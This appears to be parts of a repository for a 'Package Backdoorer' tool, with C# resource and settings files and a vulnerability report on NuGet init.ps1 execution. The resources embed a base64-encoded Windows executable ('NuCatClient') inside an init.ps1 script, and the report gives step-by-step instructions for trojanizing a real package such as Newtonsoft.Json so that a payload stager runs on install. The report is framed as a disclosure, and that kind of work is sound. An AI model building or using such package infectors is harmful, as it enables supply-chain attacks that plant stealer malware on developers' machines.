| } 62 | 63 | /// 64 | /// Looks up a localized resource of type System.Drawing.Icon similar to (Icon). 65 | /// 66 | internal static System.Drawing.Icon Frame_1 { 67 | get { 68 | object obj = ResourceManager.GetObject("Frame_1", resourceCulture); 69 | return ((System.Drawing.Icon)(obj)); 70 | } 71 | } 72 | 73 | /// 74 | /// Looks up a localized resource of type System.Drawing.Icon similar to (Icon). 75 | /// 76 | internal static System.Drawing.Icon Frame_2 { 77 | get { 78 | object obj = ResourceManager.GetObject("Frame_2", resourceCulture); 79 | return ((System.Drawing.Icon)(obj)); 80 | } 81 | } 82 | 83 | /// 84 | /// Looks up a localized resource of type System.Drawing.Icon similar to (Icon). 85 | /// 86 | internal static System.Drawing.Icon Frame_3 { 87 | get { 88 | object obj = ResourceManager.GetObject("Frame_3", resourceCulture); 89 | return ((System.Drawing.Icon)(obj)); 90 | } 91 | } 92 | 93 | /// 94 | /// Looks up a localized string similar to $NuCatClient = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJMavJUAAAAAAAAAAOAAIgALATAAAHh9AQAIAAAAAAAAkpd9AQAgAAAAoH0BAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAADgfQEAAgAAAAAAAAIAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAD6XfQFPAAAAAKB9AbQFAAAAAAAAAAAAAAAAAAAAAAAAAMB9AQwAAACkln0BOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAA [rest of string was truncated]";. 95 | /// 96 | internal static string init { 97 | get { 98 | return ResourceManager.GetString("init", resourceCulture); 99 | } 100 | } 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /Package Backdoorer/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | Frame 1.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 123 | 124 | 125 | Frame 2.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 126 | 127 | 128 | Frame 3.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 129 | 130 | 131 | ..\init.ps1;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 132 | 133 | -------------------------------------------------------------------------------- /Package Backdoorer/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace Package_Backdoorer.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.2.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | 26 | [global::System.Configuration.UserScopedSettingAttribute()] 27 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 28 | [global::System.Configuration.DefaultSettingValueAttribute("")] 29 | public string LastFile { 30 | get { 31 | return ((string)(this["LastFile"])); 32 | } 33 | set { 34 | this["LastFile"] = value; 35 | } 36 | } 37 | 38 | [global::System.Configuration.UserScopedSettingAttribute()] 39 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 40 | [global::System.Configuration.DefaultSettingValueAttribute("False")] 41 | public bool InjectPSBool { 42 | get { 43 | return ((bool)(this["InjectPSBool"])); 44 | } 45 | set { 46 | this["InjectPSBool"] = value; 47 | } 48 | } 49 | 50 | [global::System.Configuration.UserScopedSettingAttribute()] 51 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 52 | [global::System.Configuration.DefaultSettingValueAttribute("")] 53 | public string PowershellScript { 54 | get { 55 | return ((string)(this["PowershellScript"])); 56 | } 57 | set { 58 | this["PowershellScript"] = value; 59 | } 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /Package Backdoorer/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | False 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/README.md -------------------------------------------------------------------------------- /Report.md: -------------------------------------------------------------------------------- 1 | # Summary 2 | A critical RCE in the NuGet package manager where individual nuget packages can be infected with malware. 3 | 4 | # Description 5 | There is a vulnerability in the Nuget package manager that allows threat actors to infect Nuget packages. 6 | The way this is done is by leveraging the init.ps1 feature. There are people actively exploiting this in the wild, and thousands of users have downloaded infected packages. 7 | 8 | Upon installing an infected package, the script will execute. But only if this is the first time installing the infected package since opening the project/solution. Subsequent installs will not execute the script. 9 | 10 | Any version of visual studio from 2017 onward is affected by this issue, and potentially 2015 as well. 11 | The exact line of code that produces the result is linked below. Removing this line will prevent the package manager from executing the script. This infected packages can be installed with no worry. 12 | 13 | ## Steps to Reproduce (Add details for how we can reproduce the issue) 14 | 15 | Get a nuget package to test with. The Newtonsoft.Json package is what I will be using as a reference. 16 | 17 | Then extract the newtonsoft.json.13.0.2.nupkg file to a new folder. 18 | 19 | Next, create a folder named tools, and add your init.ps1 file in that folder. 20 | The powershell script will contain the code that delivers the payload, or the stager of choice. 21 | 22 | Modify the Nuspec file 23 | Now we must modify the packages Nuspec file to execute the init.ps1 script. 24 | Simply add the following xml to the package tag after the metadata tag has been closed: 25 | ``` 26 | 27 | 28 | 29 | ``` 30 | 31 | Your Newtonsoft.Json nuspec should look like this now 32 | ``` 33 | 34 | 35 | 36 | Newtonsoft.Json 37 | 13.0.2 38 | Json.NET 39 | James Newton-King 40 | MIT 41 | https://licenses.nuget.org/MIT 42 | packageIcon.png 43 | README.md 44 | https://www.newtonsoft.com/json 45 | https://www.newtonsoft.com/content/images/nugeticon.png 46 | Json.NET is a popular high-performance JSON framework for .NET 47 | Copyright © James Newton-King 2008 48 | json 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | ``` 78 | 79 | Save the modified nuspec file, and then repack the package by zipping up the folder and rename to a nupkg file extension. 80 | 81 | I have built a proof of concept that can automatically infect a given package to demonstrate that infection can be easily automated. I have recorded a demo video of this which is linked below. 82 | 83 | ## Supporting materials/ references: 84 | 85 | The exact line that executes init.ps1 in the NuGet package manager. 86 | https://github.com/NuGet/NuGet.Client/blob/ee9ef1f0e1a256a6d215669256576320a02fb0ac/src/NuGet.Core/NuGet.PackageManagement/NuGetPackageManager.cs#L3308 87 | 88 | Video demonstrating the vulnerability in action 89 | https://youtu.be/HBaJ2rnC-9E 90 | 91 | Video demonstrating prototype infector 92 | https://youtu.be/2Lg85pYAloc 93 | 94 | Video demonstrating Batch infection 95 | https://www.youtube.com/watch?v=jDJi5uWWvNc 96 | 97 | Please note that this is actively being exploited in the wild. I have observed people using this to infect packages with stealer malware and publishing them to nuget.org 98 | Packages can be setup so that one of the dependencies can be infected, thus hiding infection from obvious sight in the actual package being downloaded and installed. 99 | 100 | Attached is a PoC package that has been infected with a dummy script. The script will delete the init.ps1 file its running from, show a MessageBox stating that this could be malware, and also outputs the same string to the console as well. --------------------------------------------------------------------------------